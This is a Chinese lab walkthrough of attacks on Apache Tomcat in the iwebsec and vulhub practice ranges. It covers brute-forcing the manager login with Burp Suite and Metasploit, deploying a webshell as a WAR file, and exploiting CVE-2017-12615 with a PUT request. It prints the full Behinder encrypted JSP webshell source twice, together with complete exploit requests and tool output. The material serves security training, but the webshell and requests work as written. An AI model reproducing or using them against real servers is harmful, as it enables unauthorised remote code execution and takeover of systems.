iwebsec靶场 中间件漏洞通关笔记2-Tomcat中间件漏洞
目录
一、Tomcat漏洞原理
1.弱口令漏洞
2.远程代码执行漏洞
(1)漏洞原理
(2)漏洞影响范围
(3)漏洞利用方法
二、第02关 Tomcat中间件漏洞
1.打开靶场
2.打开Tomcat环境
3.BP暴力破解弱口令
(1)positon配置
(2)payload配置
(3)配置base64编码
(4)取消url编码
(5)攻击渗透
(6)渗透成功
4.msf暴力破解弱口令
(1)msfconsole使用tomcat_mgr_login渗透
(2)配置ip和端口号
(3)实战渗透
5.上传冰蝎木马webshell
(1)构造shell.war
(2)部署木马
(3)访问webshell
6.远程执行漏洞
三、vulhub复现Tomcat远程执行漏洞
1.搭建环境
(1)GitHub下载
(2)搭建tomcat远程漏洞环境
(3)查看容器
(4)访问tomcat环境
2.实战渗透
(1)bp抓包
(2)构造PUT远程执行/绕过
(3)上传冰蝎木马
(4)连接冰蝎
一、Tomcat漏洞原理
1.弱口令漏洞
可以使用弱口令:tomcat/tomcat (或者 admin/admin)
登录后台(注:http://x.x.x.x:8080/manager/html)成功
可以通过暴力破解字典加入常用密码和账号,对其进行渗透
2.远程代码执行漏洞
(1)漏洞原理
Tomcat配置文件conf/web.xml 文件,当 readonly 设置为 false 时,可以允许 PUT、DELETE 方法,上传或删除文件,通过上传的JSP文件可以在服务器上执行任意代码。
(2)漏洞影响范围
Apache Tomcat 5.x - 9.x
(3)漏洞利用方法
在windows系统中可以通过如下四种方法渗透
1)/test.jsp%20
2)/test.jsp%2E
3)/test.jsp::$DATA
4)/test.jsp/
在linux系统中需要可以通过如下方法渗透
/test.jsp/
二、第02关 Tomcat中间件漏洞
1.打开靶场
http://192.168.71.151/middleware/02.phphttp://192.168.71.151/middleware/02.php
2.打开Tomcat环境
http://192.168.71.151:8080/manager/htmlhttp://192.168.71.151:8080/manager/html如下提示需要输入用户名和密码登录
随便输入ljn和ljn点击确定
将报文发送给burpsuite
对bGpuOmxqbg==进行base64解码,如下所示为
ljn:ljn
正好是刚刚输入的账号和密码,接下来将报文发送到intruder进行处理
3.BP暴力破解弱口令
(1)positon配置
(2)payload配置
对参数的payload选择custom iterator
第一部分配置如下
tomcat6/7/8+会针对登陆次数过多的用户进行锁定,经过统计分析,当登录错误>5次后,就会锁定用户,所以要注意这个问题,如果已经锁定了账号需要重启服务。
第二部分配置如下
第三部分配置如下
(3)配置base64编码
配置完毕后如下所示
(4)取消url编码
Burpsuite会自动将符号进行 url 编码,这里需要将 Payload Encoding 的勾给去掉
(5)攻击渗透
如下所示返回值200代表成功
对YWRtaW46YWRtaW4=进行base64解码
admin:admin
(6)渗透成功
使用admin和admin登录,如下所示渗透成功
4.msf暴力破解弱口令
(1)msfconsole使用tomcat_mgr_login渗透
msf可以对tomcat进行渗透,使用auxiliary/scanner/http/tomcat_mgr_login脚本进行暴力破解
msfconsole
use auxiliary/scanner/http/tomcat_mgr_login
如下所示
(2)配置ip和端口号
set rhosts 192.168.71.151
set rport 8080
(3)实战渗透
run
如下所示,admin和admin登录成功
完整交互如下所示
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts 192.168.71.151
rhosts => 192.168.71.151
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rport 8080
rport => 8080
msf6 auxiliary(scanner/http/tomcat_mgr_login) > run[!] No active DB -- Credential data will not be saved!
[+] 192.168.71.151:8080 - Login Successful: admin:admin
[-] 192.168.71.151:8080 - LOGIN FAILED: manager:admin (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: manager:manager (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: manager:role1 (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: manager:root (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: manager:tomcat (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: manager:s3cret (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: manager:vagrant (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: role1:admin (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: role1:manager (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: role1:role1 (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: role1:root (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: role1:tomcat (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: role1:s3cret (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: role1:vagrant (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: root:admin (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: root:manager (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: root:role1 (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: root:root (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: root:tomcat (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: root:s3cret (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: root:vagrant (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: tomcat:admin (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: tomcat:manager (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: tomcat:role1 (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: tomcat:root (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: tomcat:tomcat (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: tomcat:s3cret (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: tomcat:vagrant (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: both:admin (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: both:manager (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: both:role1 (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: both:root (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: both:tomcat (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: both:s3cret (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: both:vagrant (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: j2deployer:j2deployer (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: ovwebusr:OvW*busr1 (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: cxsdk:kdsxc (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: root:owaspbwa (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: ADMIN:ADMIN (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: xampp:xampp (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: tomcat:s3cret (Incorrect)
[-] 192.168.71.151:8080 - LOGIN FAILED: QCC:QLogic66 (Incorrect)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
5.上传冰蝎木马webshell
(1)构造shell.war
使用冰蝎的shell.jar
用shell.jar生成shell.war
jar cvf shell.war shell.jsp
(2)部署木马
点击deploy后,发现已经部署成功
(3)访问webshell
木马地址为
http://192.168.71.151:8080/shell/shell.jsp
密码为rebeyond,冰蝎增加链接
添加后如下所示
连接后基本信息如下
命令执行
文件管理
6.远程执行漏洞
(1)构造报文
在主页中路径中输入ljn.jsp然后点击执行后,bp抓包
如下所示,这个是GET型,将报文发送到repeater
在repeater中将GET协议,改为PUT协议,并将传输的数据data内容改为冰蝎中shell.jsp内容,如下所示
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
完整的bp报文如下所示
PUT /ljn.jsp/ HTTP/1.1
Host: 192.168.71.151:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 592<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
直接点击发送响应201,提示创建成功,如下所示
连接冰蝎,url为http://192.168.71.151:8080/ljn.jsp 密码是rebeyond
连接成功
命令执行
文件管理
三、vulhub复现Tomcat远程执行漏洞
1.搭建环境
在进行Tomcat漏洞渗透实验时,可以自己搭建Tomcat漏洞环境,具体过程如下所示
(1)GitHub下载
GitHub - vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-ComposePre-Built Vulnerable Environments Based on Docker-Compose - GitHub - vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Composehttps://github.com/vulhub/vulhub
git clone https://github.com/vulhub/vulhub
cd vulhub
(2)搭建tomcat远程漏洞环境
进入目录tomcat/CVE-2017-12615,vulhub的漏洞环境已经搭建好,不需要我们手动修改配置文件,进入到漏洞目录中启动环境
cd tomcat/CVE-2017-12615
sudo docker-compose build
sudo docker-compose up -dc
完整交互如下
kali@kali:~/vulhub/tomcat/CVE-2017-12615$ sudo docker-compose build
Building tomcat
Sending build context to Docker daemon 26.11kB
Step 1/3 : FROM vulhub/tomcat:8.5.19
8.5.19: Pulling from vulhub/tomcat
a2149b3f2ac2: Pull complete
a1c1ccd82e58: Pull complete
0da65c452d32: Pull complete
9a685a4ea00d: Pull complete
219f2e47d815: Pull complete
7d0b5802c7bf: Pull complete
cb4b381f8a44: Pull complete
1d959ea68b27: Pull complete
748d65c1039e: Pull complete
9dd410fe158f: Pull complete
321b0457f24e: Pull complete
d7dfd0f99148: Pull complete
8b9d746a7c0b: Pull complete
12358a0c2130: Pull complete
Digest: sha256:dc424beb9f2ebc24cade77046b1ee8409f23b26faebf5fe3d1ce8b3ce1211b91
Status: Downloaded newer image for vulhub/tomcat:8.5.19---> 3053aee7bf96
Step 2/3 : LABEL maintainer="phithon <root@leavesongs.com>"---> Running in 90183abb1f24
Removing intermediate container 90183abb1f24---> 4a7819dc72bf
Step 3/3 : RUN cd /usr/local/tomcat/conf && LINE=$(nl -ba web.xml | grep '<load-on-startup>1' | awk '{print $1}') && ADDON="<init-param><param-name>readonly</param-name><param-value>false</param-value></init-param>" && sed -i "$LINE i $ADDON" web.xml---> Running in fd3982a07ef6
Removing intermediate container fd3982a07ef6---> 091c2ee7feec
Successfully built 091c2ee7feec
Successfully tagged cve-2017-12615_tomcat:latest
kali@kali:~/vulhub/tomcat/CVE-2017-12615$ sudo docker-compose up -d
Creating network "cve-2017-12615_default" with the default driver
Creating cve-2017-12615_tomcat_1 ... done
(3)查看容器
kali@kali:~/vulhub/tomcat/CVE-2017-12615$ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
a71b615dd1fe cve-2017-12615_tomcat "catalina.sh run" 8 seconds ago Up 7 seconds 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp cve-2017-12615_tomcat_1
(4)访问tomcat环境
http://192.168.71.129:8080/http://192.168.71.129:8080/
2.实战渗透
(1)bp抓包
构造协议,路径中输入ljn.jsp然后点击执行后,bp抓包
如下所示,这个是GET型,将报文发送到repeater
在repeater中将GET协议,改为PUT协议
直接点击发送响应404,如下所示
(2)构造PUT远程执行/绕过
由于靶场环境搭建在linux系统中,故而需要使用/方法进行渗透,构造的ljn.jsp内容为
<%out.print("ljn");%>
如下所示在PUT的文件名尾部加上/
如下所示访问成功
http://192.168.71.129:8080/ljn.jsphttp://192.168.71.129:8080/ljn.jsp
(3)上传冰蝎木马
将冰蝎中的shell.jsp内容复制粘贴到PUT报文的data数据中,如下所示
(4)连接冰蝎
木马的密码为rebeyond,将木马的url链接添加到冰蝎中
http://192.168.71.129:8080/ljn02.jsp
添加后如下所示
连接成功
命令执行
文件管理
iwebsec靶场 中间件漏洞通关笔记2-Tomcat中间件漏洞相关推荐
- iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时间型盲注)
系列文章目录 iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的 ...
- sqli-labs靶场15-19关通关笔记中总结
第十五关 本关属于时间注入,基于源码分析,闭合字符是单引号. 本关没有错误提示,那么我们只能靠猜测进行注入.这里我直接从源代码中看到了 sql语句. 那这里对 id 进行 ' id' 的处理. 本关我 ...
- Apache Tomcat 拒绝服务漏洞通告
作者 | 360CERT 来源 | https://www.oschina.net/news/164556 报告编号:B6-2021-101501 报告来源:360CERT 报告作者:360CERT ...
- Pikachu靶场通关笔记
目录 Burte Force(暴力破解) 基于表单的暴力破解 验证码绕过(on server) 验证码绕过(on client) token防暴破 Cross-Site Scripting (XSS) ...
- IIS Nginx Apache Tomcat 中间件漏洞
简介 中间件(英语:Middleware)是提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通.中间件处在操作系统和更高一级应用程序之间.他充当的功能是:将程序运行环境与操作系统隔离,从 ...
- DVWA靶场通关笔记
文章目录 Brute Force 暴力破解 Low Medium High Impossible 防护总结: Command Injection 命令注入 危害: Low Medium High Im ...
- Upload-labs 1-21关 靶场通关笔记(含代码审计)
目录 Pass-01(JS前端验证) 方法一:删除JS验证 方法二:先上传符合要求的图片 再在burp里面修改后缀即可 Pass-02(MIME验证) 前置知识$_FILES Pass-03(php3 ...
- polar靶场通关笔记
polar靶场通关笔记 swp 啥是swp文件勒? 当用vim打开文件,但是终端异常退出时系统会产生一个.文件名swp的文件. 当源文件被意外删除时,可以利用swp文件恢复源文件 根据提示猜测存在sw ...
- (二)内网渗透之tomcat中间件漏洞
使用端口扫描.漏洞扫描验证扫描目标开放的端口,在对应端口上开放的服务,运行该服务的软件和版本号. 如果只是使用端口扫描,只是发现开放的端口,接着使用 nc .nmap可以获取端口上服务的 banner ...
最新文章
- python列表切片口诀-Python-100例(7-8) 复制列表 打印乘法口诀
- Protocol Buffer C++应用实例
- 算法提高课-搜索-A*(A star)算法-AcWing 179. 八数码:A星算法求解
- C语言再学习 -- 三字母词(转)
- Vue中的 ref 和 $refs
- SAP Spartacus自定义Component的Not found问题
- C# 谈谈Interface和通过Interface传递web页面数据
- mysql工作表格制作教程_Access制作复杂报表
- python文本筛选html_python 正则表达式过滤文本中的html标签 源代码解析
- 但救地球要紧的飞鸽传书
- 如何使用Greg Mori的Superpixel MATLAB代码
- kalipython图形界面_Kali入侵入门版笔记!!!
- PS MAC 2022安装步骤
- 【2020年领域新星】 Ruibo Liu 达特茅斯学院
- 2020.11.23Junit详解
- 期权的“溢价率”、“杠杆率”不是越高越好
- 赵小楼《天道》《遥远的救世主》深度解析(11)芮小丹和肖亚文俩人身上值得我们学习的点。
- MySQL自增主键auto_increment原理 与 自增主键出现间隙不连续现象的定位
- Python判断某个列表是否是另一个列表的子列表
- 液晶显示屏的C语言编码,AT89C51单片机驱动液晶显示汉字C语言